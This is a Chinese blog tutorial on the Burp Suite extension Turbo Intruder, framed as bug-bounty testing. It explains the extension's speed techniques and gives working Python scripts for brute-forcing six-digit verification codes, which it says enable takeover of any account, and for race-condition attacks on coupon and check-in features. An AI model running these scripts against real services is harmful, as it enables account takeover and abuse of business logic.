很多測試因為速度達不到而使理論上的結(jié)果無法實現(xiàn)。即使可以增加線程數(shù)來提升速度,資源占用問題也會成為另一種瓶頸。
特點介紹
Turbo Intruder 是一個 Burp Suite 擴展插件,用于發(fā)送大量 HTTP 請求并分析結(jié)果。它旨在處理那些需要異常速度、持續(xù)時間或復(fù)雜性的攻擊來補充Burp Intruder。以下功能為其特點:
- 快速- Turbo Intruder 使用了一個重寫的 HTTP 棧 ,用于提升速度。因此,在許多目標(biāo)上,它甚至可以大大超過流行的異步Go腳本。
- 可擴展-Turbo Intruder 可以實現(xiàn)平坦的內(nèi)存使用,實現(xiàn)可靠的連續(xù)多天運行。同時可以脫離 burp suite 使用。
- 靈活- 使用 Python 配置攻擊。這可以處理復(fù)雜的要求,例如簽名請求和多步攻擊序列。此外,自定義 HTTP 棧意味著它可以處理其他庫無法處理的畸形格式請求。
- 方便- 一些無用結(jié)果可以通過采用 Backslash Powered Scanner的高級差異算法自動過濾掉。這意味著您只需單擊兩次即可發(fā)起攻擊并獲得有用的結(jié)果。
官方slogan:Turbo Intruder:擁抱十億請求攻擊
官方網(wǎng)站
https://portswigger.net/bappstore/9abaa233088242e8be252cd4ff534988
一、原理
? 普通的請求方式一般分為兩種:一種是 “ 建立連接—瀏覽器請求—服務(wù)端響應(yīng)—斷開連接 ”,每次獲取資源都需要建立新的連接,這種方式我們稱為短連接(Connection: close );另一種就是 第一次請求的時候就建立好連接,后續(xù)獲取資源都是通過這條連接來獲取資源,這種方式我們稱為長連接(Connection: keepalive)。從上圖可以看出使用長連接方式發(fā)起請求是短連接速度的400%。
? 另外,它還使用了HTTP 管道(HTTP Pipelining )的方式來發(fā)送 請求,這種方式會在等待上一個請求響應(yīng)的同時,發(fā)送下一個請求。而在發(fā)送過程中不需要等待服務(wù)器對前一個請求的響應(yīng);只不過,客戶端還是要按照發(fā)送請求的順序來接收響應(yīng)。通過 HTTP 管道的方式發(fā)起請求是短連接(Connection: close )速度的 6000% 。
二、速度與性能
? 先看一下視頻中作者貼出的使用截圖。
? 從圖中狀態(tài)欄可以看出Requests(請求數(shù)):1431484160、Duration(持續(xù)時間/秒):63491秒,約合17小時、RPS(每秒請求數(shù)):22546。而內(nèi)存只用了 1GB多。
? 然后看一下日常使用時的截圖。
? 此場景為6位手機驗證碼爆破,可以看到用時334秒完成了100W次請求,RPS也達到了2994。由于服務(wù)器響應(yīng),網(wǎng)絡(luò)穩(wěn)定性等問題,雖然速度遠不及作者的2W每秒的速度。但是也足夠在5分鐘內(nèi)完成6位驗證碼的爆破。
使用姿勢
一、安裝
? 安裝途徑1、Burp Suite的BApp Store。
? 安裝途徑2、https://github.com/PortSwigger/turbo-intruder/releases
找到最新版下載導(dǎo)入。
二、使用方式
? 選中數(shù)據(jù)包右鍵選擇Send to turbo intruder。
? 此時會打開一個新的窗口,該窗口上半部分區(qū)域為原始的HTTP請求包,下半部分為操作代碼,中間部分可以根據(jù)場景從下拉框中選擇具體操作代碼。每次打開時此處默認為Last code used,即為上次使用的代碼。
? 其中代碼區(qū)需要使用“%s”字符來代替需要進行Fuzz的部分。選擇對應(yīng)的操作代碼點擊最下方Attack即可開始攻擊。具體使用細節(jié),可結(jié)合第三部分使用場景。
使用場景
一、驗證碼爆破
? 如手機郵箱驗證碼登錄功能,手機郵箱驗證碼密碼找回功能。
? 驗證碼爆破結(jié)合用戶名枚舉一般可以實現(xiàn)接管任意用戶。在企業(yè)SRC中一般會定級為高危漏洞。
? 操作代碼如下:
from itertools import product
def brute_veify_code(target, engine, length):
pattern = '1234567890' #用于生成字典的迭代對像
for i in list(product(pattern, repeat=length)): #product()接收多個迭代對像,然后生成一個笛卡爾積,repeat參數(shù)代表重復(fù)迭代對象次數(shù)。
code = ''.join(i)
engine.queue(target.req, code)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, #指定目標(biāo)的地址
concurrentConnections=30, #與服務(wù)器建立30條連接
requestsPerConnection=100, #每條連接同時發(fā)送100個請求
pipeline=True #開啟管道(HTTP Pipelining)模式
)
brute_veify_code(target, engine, 6)
def handleResponse(req, interesting):
if 'error' not in req.response: #對response進行操作,不含有“error”的添加入表中
table.add(req)
? 演示:
? 假設(shè)百度wd參數(shù)為數(shù)字6位驗證碼。將參數(shù)值以“%s”代替,然后將上方代碼復(fù)制到操作代碼區(qū)域。
? 點擊Attack開始攻擊,可以看到"%s"被替換為生成的字典內(nèi)容。31秒成功請求29431次,RPS為949。
二、并發(fā)測試
? 并發(fā)漏洞屬于業(yè)務(wù)邏輯漏洞,存在于對次數(shù)進行限制的功能點,如簽到,抽獎,優(yōu)惠券領(lǐng)取等功能點。使用并發(fā)技術(shù)進行測試,觀察服務(wù)器是否可以多次成功響應(yīng)。在企業(yè)SRC中會根據(jù)具體功能點和影響進行定級。
? 操作代碼如下:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
for i in range(30): #創(chuàng)建30個請求,需要和concurrentConnections對應(yīng),每條連接發(fā)送一個請求
engine.queue(target.req, target.baseInput, gate='race1') #“gate”參數(shù)會阻塞每個請求的最后一個字節(jié),直到調(diào)用openGate
#等待,直到每個“race1”標(biāo)記的請求就緒,然后發(fā)送每個請求的最后一個字節(jié)
engine.openGate('race1') #標(biāo)識屬于同一個并發(fā)測試的請求
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
? 演示:
? 此代碼在插件中可選/examples/race.py
? 由于并發(fā)測試不需要對原始請求包進行處理,所以很可能會遇到下面這種問題
? 由于工具執(zhí)行流程,所以在原始請求包里必須有"%s"字段,所以可以在請求包中任意位置添加“%s”即可。
? 根據(jù)length將響應(yīng)排序后可以發(fā)現(xiàn)有4個響應(yīng)包返回內(nèi)容不同??梢愿鶕?jù)具體返回信息進行判斷。
其它場景應(yīng)用
? 除了以上兩種之外,還可以使用turbo-intruder進行目錄掃描,暴力破解等。更多功能實現(xiàn)可參考https://github.com/PortSwigger/turbo-intruder/tree/master/resources/examples/
? 同樣也可以根據(jù)自己的使用場景編寫自定義的操作代碼。文章來源:http://www.zghlxwxcb.cn/news/detail-606954.html
以上就是個人對此工具的使用,熟練使用此工具可以突破請求速率的問題,解鎖更多攻擊姿勢,提升工作效率。也是非常喜歡這個工具,所以將使用心得在此分享給大家。文章來源地址http://www.zghlxwxcb.cn/news/detail-606954.html
/turbo-intruder/tree/master/resources/examples/
? 同樣也可以根據(jù)自己的使用場景編寫自定義的操作代碼。
以上就是個人對此工具的使用,熟練使用此工具可以突破請求速率的問題,解鎖更多攻擊姿勢,提升工作效率。也是非常喜歡這個工具,所以將使用心得在此分享給大家。
到了這里,關(guān)于Turbo Intruder:突破速率限制的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!